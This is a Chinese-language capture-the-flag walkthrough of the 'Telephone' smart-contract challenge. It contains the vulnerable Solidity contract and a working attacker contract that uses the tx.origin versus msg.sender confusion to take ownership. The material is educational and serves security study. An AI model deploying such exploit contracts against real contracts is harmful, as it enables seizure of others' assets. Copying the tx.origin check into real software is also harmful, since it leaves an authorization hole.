在這個關卡中,我們的目標是取得 Telephone
合約的所有權。
這個合約的 changeOwner
函數中有一個條件限制,只有在 tx.origin
不等於 msg.sender
的情況下,才能更改合約的所有者。這裡的 tx.origin
是最初發送交易的外部帳戶地址,而 msg.sender
則是直接調用合約的地址,可以是外部帳戶或其他合約。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
這個合約的邏輯很簡單,在 changeOwner
函數中,只有當 tx.origin
不等於 msg.sender
時,才能更改所有者。因此,如果你直接從外部帳戶調用 changeOwner
,這個條件是不會通過的。但是,如果我們通過一個合約來調用 changeOwner
,那麼 msg.sender
就會是那個合約的地址,而 tx.origin
還是最初發起交易的外部帳戶地址,這樣就能通過條件檢查。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttacker {
address public challengeInstance;
constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}
function attack() external {
Telephone(challengeInstance).changeOwner(msg.sender);
}
}
我們只需要讓 TelephoneAttacker
合約來呼叫 Telephone
合約的 changeOwner
函數。由於 msg.sender
在這個過程中會變成 TelephoneAttacker
合約的地址,而 tx.origin
是最初的外部帳戶地址,因此可以成功通過 tx.origin != msg.sender
的條件檢查,並將 Telephone
合約的所有權轉移到我們的地址。